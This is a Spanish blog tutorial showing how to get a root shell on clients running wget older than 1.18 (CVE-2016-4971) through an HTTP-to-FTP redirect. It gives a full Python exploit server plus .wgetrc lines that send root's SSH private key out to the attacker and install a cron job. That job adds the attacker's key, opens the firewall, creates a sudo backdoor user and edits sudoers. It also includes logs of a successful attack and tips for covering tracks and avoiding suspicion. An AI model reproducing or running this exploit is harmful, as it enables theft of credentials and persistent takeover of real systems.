En esta ocasión vamos a ver como de peligroso puede llegar a ser no tener nuestro software actualizado, vamos a mostrar como es posible conseguir shell de root en un cliente que conecta a nuestro servidor mediante una versión desactualizada de wget, mas concretamente wget < 1.18
Para realizar el ataque con éxito necesitamos un servidor web/ftp, la vulnerbilidad radica en que wget cuando conecta por http y se le hace un redirect 301 a un ftp guarda a disco el fichero del ftp sin importar el fichero que se pidió en la petición http original. Si ese fichero es la config de wget podremos hacer que en conexiones posteriores nos envíe un fichero en concreto y que guarde lo que le enviemos en cierta localización del disco.
No vamos a instalar servidores http/ftp complejos, nos bajaremos las librerias necesarias en python y escribiremos los nuestros propios, muy sencillos pero servirán para la tarea.
pip install pyftpdlib
Generamos el fichero de config de wget de tal forma que nos sirva la private key de root y meta un cronjob:
cd wgetXploit
echo “post_file = /root/.ssh/id_rsa” > .wgetrc
echo “output_document = /etc/cron.d/kr0mJob” » .wgetrc
Preparamos el fichero que pedirá originalmente wget:
Arrancamos nuestro servidor ftp:
/usr/lib64/python2.7/site-packages/pyftpdlib/authorizers.py:240: RuntimeWarning: write permissions assigned to anonymous user.
RuntimeWarning)
[I 2016-11-02 22:33:08] >>> starting FTP server on 0.0.0.0:21, pid=26464 <<<
[I 2016-11-02 22:33:08] concurrency model: async
[I 2016-11-02 22:33:08] masquerade (NAT) address: None
[I 2016-11-02 22:33:08] passive ports: None
En otra consola escribimos el script encargado de las peticiones http, cuando la petición sea por GET lo redireccionaremos a nuestro ftp donde podrá bajarse el fichero .wgetrc, la segunda ejecución del wget ya será por POST sirviéndonos la privatekey de root y guardando el contenido que le pasemos en un cronjob, esto es debido a que la segunda ejecución aplicará la config de wget que le hemos pasado en el primer paso.
#!/usr/bin/env python
#
# Wget 1.18 < Arbitrary File Upload Exploit
# Dawid Golunski
# dawid( at )legalhackers.com
#
# http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt
#
# CVE-2016-4971
#
import SimpleHTTPServer
import SocketServer
import socket;
class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
# This takes care of sending .wgetrc
print "We have a volunteer requesting " + self.path + " by GET :)\n"
if "Wget" not in self.headers.getheader('User-Agent'):
print "But it's not a Wget :( \n"
self.send_response(200)
self.end_headers()
self.wfile.write("Nothing to see here...")
return
print "Uploading .wgetrc via ftp redirect vuln. It should land in /root \n"
self.send_response(301)
new_path = '%s'%('ftp://anonymous@%s:%s/.wgetrc'%(FTP_HOST, FTP_PORT) )
print "Sending redirect to %s \n"%(new_path)
self.send_header('Location', new_path)
self.end_headers()
def do_POST(self):
# In here we will receive extracted file and install a PoC cronjob
print "We have a volunteer requesting " + self.path + " by POST :)\n"
if "Wget" not in self.headers.getheader('User-Agent'):
print "But it's not a Wget :( \n"
self.send_response(200)
self.end_headers()
self.wfile.write("Nothing to see here...")
return
content_len = int(self.headers.getheader('content-length', 0))
post_body = self.rfile.read(content_len)
print "Received POST from wget: \n\n---[begin]---\n %s \n---[eof]---\n\n" % (post_body)
print "Sending CronJob..."
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
self.wfile.write(ROOT_CRON)
return
HTTP_LISTEN_IP = '192.168.20.27'
HTTP_LISTEN_PORT = 80
FTP_HOST = '192.168.20.27'
FTP_PORT = 21
ROOT_CRON = "* * * * * root /bin/echo 'ssh-rsa AABBCCDDEEFFGGHHIIJJKKLLMMNNOOPPQQRRSSTTUUVVWWXXYYZZ kr0m@ASD' >> /root/.ssh/authorized_keys && /sbin/iptables -I INPUT 1 -s 192.168.20.27 -j ACCEPT && /sbin/iptables -I OUTPUT 1 -d 192.168.20.27 -j ACCEPT && /usr/sbin/useradd kr0m && /bin/echo 'kr0m ALL=(ALL:ALL) ALL' >> /etc/sudoers && /bin/echo 'kr0m:kr0mpass' | /usr/sbin/chpasswd \n"
handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)
print "Ready? Is your FTP server running?"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((FTP_HOST, FTP_PORT))
if result == 0:
print "FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT)
else:
print "FTP is down :( Exiting."
exit(1)
print "Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT
handler.serve_forever()
Arrancamos nuestro servidor http:
Ready? Is your FTP server running?
FTP found open on 192.168.20.27:21. Let's go then
Serving wget exploit on port 80...
El cliente conecta con nosotros vía http:
--2016-11-02 22:35:54-- http://192.168.20.27/ultraSecretPass
Connecting to 192.168.20.27:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: ftp://anonymous@192.168.20.27:21/.wgetrc [following]
--2016-11-02 22:35:54-- ftp://anonymous@192.168.20.27/.wgetrc
=> “.wgetrc”
Connecting to 192.168.20.27:21... connected.
Logging in as anonymous ... Logged in!
==> SYST ... done. ==> PWD ... done.
==> TYPE I ... done. ==> CWD not needed.
==> SIZE .wgetrc ... 68
==> PASV ... done. ==> RETR .wgetrc ... done.
2016-11-02 22:35:54 (6.07 MB/s) - “.wgetrc” saved [68]
Comprobamos en el cliente que efectivamente la config de wget ha sido reemplazada, en la próxima conexión nos enviará por POST el contenido de la private key y guardará en el path indicado lo que le enviemos:
post_file = /root/.ssh/id_rsa
output_document = /etc/cron.d/kr0mJob
Ejecutamos por segunda vez el wget:
--2016-11-02 22:36:27-- http://192.168.20.27/ultraSecretPass
Connecting to 192.168.20.27:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]
Saving to: “/etc/cron.d/kr0mJob”
2016-11-02 22:36:27 (105 MB/s) - “/etc/cron.d/kr0mJob” saved [694]
En la consola de nuestro script http-server podremos ver el contenido de la private key y como le enviamos el cronjob:
RX4 #
We have a volunteer requesting /ultraSecretPass by POST :)
Received POST from wget:
---[begin]---
-----BEGIN RSA PRIVATE KEY-----
PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--
PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--
PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--
PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--
PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--
-----END RSA PRIVATE KEY-----
---[eof]---
Sending CronJob...
Esperamos al menos 1min y ya podemos ver como se ha ejecutado el cronjob con nefastos resultados.
Las reglas de iptables han sido aplicadas:
Chain INPUT (policy DROP)
num target prot opt source destination
1 ACCEPT all -- 192.168.20.27 0.0.0.0/0
Chain OUTPUT (policy DROP)
num target prot opt source destination
1 ACCEPT all -- 0.0.0.0/0 192.168.20.27
El usuario ha sido añadido con el password indicado y el fichero de sudo alterado con éxito:
$ id
uid=1001(kr0m) gid=1001(kr0m) groups=1001(kr0m)
[sudo] password for kr0m:
uid=0(root) gid=0(root) groups=0(root)
Borramos el cronjob para evitar que nos duplique reglas de firewall y nos añada dos veces la key al authorized_keys de root, además borramos el .wgetrc para no levantar sospechas:
root@heaven:/# rm /root/.wgetrc
Este ataque es realmente efectivo pero tiene varias limitaciones:
- El wget debe ser ejecutado por root en su home directory.
- El wget se debe ejecutar varias veces ya sea mediante un cronjob que el sysadmin configuró con anterioridad o convenciéndolo de que ejecute la descarga de algún modo.
- Debe estar el servicio de cron activo.
- Debe tener sudo instalado.
- No debe existir un .wgetrc previo ya que si así fuese nuestro fichero de config se guardaría con el nombre .wgetrc.1 desbaratando nuestros planes.
- En el rato que tarde en ejecutarse el cronjob todas las conexiones realizadas mediante wget por el usuario fallarán hasta que borremos el .wgetrc, esto podría levantar sospechas.
Por supuesto se podría simplificar simplemente mostrando la private key y sobreescribiendo el authorized_keys con nuestra pubkey, la lista de requerimientos disminuiría pero esta táctica tiene dos inconvenientes:
- Se perdería el contenido original del authorized_keys por lo que puede que algunas conexiones fallen y el sysadmin sospeche.
- Podría haber reglas de firewall que nos bloqueen el paso
NOTA: Si sabemos que el wget no va a ser ejecutado por el usuario root deberemos adaptar los paths del script para que nos muestre la private key del user en cuestión y guarde nuestra public key en el authorized_keys del usuario correcto.
Espero que el artículo haya sido de vuestro agrado y que lo hayáis disfrutado tanto como yo realizando las pruebas :)